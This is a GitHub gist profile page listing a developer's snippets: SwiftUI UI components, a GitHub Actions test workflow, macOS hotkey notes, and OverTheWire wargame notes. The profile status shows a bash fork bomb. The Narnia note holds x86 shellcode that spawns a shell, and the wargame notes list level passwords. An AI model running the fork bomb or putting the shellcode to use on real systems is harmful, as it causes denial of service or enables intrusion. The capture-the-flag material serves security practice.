Skip to content

Instantly share code, notes, and snippets.

View mattrighetti's full-sized avatar
👨‍💻
:(){ :|:& };:

Mattia Righetti mattrighetti

👨‍💻
:(){ :|:& };:
View GitHub Profile
@mattrighetti
mattrighetti / +uicolour.swift
Last active April 22, 2020 08:24
UIColor extension
extension UIColor {
static let flatDarkBackground = UIColor(red: 36, green: 36, blue: 36)
static let flatDarkCardBackground = UIColor(red: 46, green: 46, blue: 46)
convenience init(red: Int, green: Int, blue: Int, a: CGFloat = 1.0) {
self.init(red: CGFloat(red) / 255.0, green: CGFloat(green) / 255.0, blue: CGFloat(blue) / 255.0, alpha: a)
}
}
@mattrighetti
mattrighetti / RowCard.swift
Created April 22, 2020 09:55
Flat Card Design for SwiftUI List
struct StoreRow: View {
var title: String
var address: String
var city: String
var categories: [String]
var kilometres: Double
var body: some View {
ZStack(alignment: .leading) {
@mattrighetti
mattrighetti / CategoryPill.swift
Created April 22, 2020 10:11
Pill like component for RowCard View
struct CategoryPill: View {
var categoryName: String
var fontSize: CGFloat = 12.0
var body: some View {
ZStack {
Text(categoryName)
.font(.system(size: fontSize, weight: .regular))
.lineLimit(2)
@mattrighetti
mattrighetti / light_dark_mode_render.swift
Created April 22, 2020 10:47
Code that will render ContentView both in Light and Dark mode in Xcode
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
Group {
ContentView().environment(\.colorScheme, .light)
ContentView().environment(\.colorScheme, .dark)
}
}
}
@mattrighetti
mattrighetti / navigationBarItems_util.swift
Last active July 13, 2021 13:57
This is a View extension that allows you to place other Views in the center of the NavigationView
func navigationBarItems<L, C, T>(leading: L, center: C, trailing: T) -> some View where L: View, C: View, T: View {
self.navigationBarItems(leading:
HStack{
HStack {
leading
}
.frame(width: 100, alignment: .leading)
Spacer()
HStack {
center
@mattrighetti
mattrighetti / xctest-workflow.yml
Created October 15, 2020 22:26
A simple GitHub Action workflow that runs tests for the specified application
name: iOS Test Workflow
on:
push:
branches:
- master
pull_request:
branches:
- master
jobs:
build:
@mattrighetti
mattrighetti / com.apple.symbolichotkeys
Created November 30, 2020 23:30
The listings below indicate the shortcut number, meaning, and what my preferences are set
https://web.archive.org/web/20141114055851/http://krypted.com/mac-os-x/defaults-symbolichotkeys/
131072: Shift
262144: Control
524288: Option
1048576: Command
Add modifier values together in the 3rd parameter to combine them.
{ AppleSymbolicHotKeys = {
@mattrighetti
mattrighetti / OverTheWire-Narnia.md
Last active April 22, 2021 00:34
OverTheWire - Narnia

Narnia

Level 1

Password: efeidiedae

Shellcode

“\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43”
@mattrighetti
mattrighetti / OverTheWire-Leviathan.md
Last active October 22, 2021 20:35
OverTheWire - Leviathan

Leviathan

Level 1

**rioGegei8m**

Level 2

**ougahZi8Ta**
@mattrighetti
mattrighetti / OverTheWire-Bandit.md
Last active October 22, 2021 20:36
OverTheWire - Bandit

Bandit

Level 8

cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 9

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 10